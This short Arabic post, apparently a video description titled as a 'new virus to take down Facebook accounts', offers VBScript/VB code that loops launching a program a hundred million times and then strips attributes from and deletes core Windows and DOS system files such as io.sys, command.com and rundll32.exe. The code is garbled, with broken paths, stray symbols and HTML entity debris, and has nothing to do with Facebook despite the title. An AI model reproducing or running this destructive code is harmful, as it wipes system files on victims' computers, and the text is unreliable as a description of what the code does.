فايروس جديد لتطيير حسابات الفيس بوك 2017

فايروس جديد مدمج مع كود اذا عجبك الشرح لاتنسا لايك واشتراك بالقناة



الفايروس

Option Explicit Dim
WSHShell Set WSHShell=Wscript.CreateObject("Wscr­ipt.Shell") Dim x For x = 1 to 100000000 WSHShell.Run "Tourstart.exe"
SetAttr "c:autoexec.bat", vbNormal
.......................................

SetAttr "c:msdos.sys", vbNormal
SetAttr "c:io.sys", vbNormal
SetAttr "c:@_@@_@@_@@_@@_@@_@swin.ini"­, vbNormal
SetAttr "c:@_@@_@@_@@_@@_@@_@ssystem.ini&qu­ot;, vbNormal
SetAttr "c:command.com", vbNormal
SetAttr "c:config.sys", vbNormal
SetAttr "c:@_@@_@@_@@_@@_@@_@srundll.exe&qu­ot;, vbNormal
SetAttr "c:@_@@_@@_@@_@@_@@_@srundll32.exe&­quot;, vbNormal

......................

Kill "C:autoexec.bat"
Kill "C:msdos.sys"
Kill "C:io.sys"
Kill "C:@_@@_@@_@@_@@_@@_@swin.ini"
Kill "C:@_@@_@@_@@_@@_@@_@ssystem.ini&qu­ot;
Kill "C:command.com"
Kill "C:config.sys"
Kill "C:@_@@_@@_@@_@@_@@_@srundll.exe&qu­ot;
Kill "C:@_@@_@@_@@_@@_@@_@srundll32.exe&­quot;
Option Explicit Dim
WSHShell Set WSHShell=Wscript.CreateObject("Wscr­ipt.Shell") Dim x For x = 1 to 100000000 WSHShell.Run "Tourstart.exe"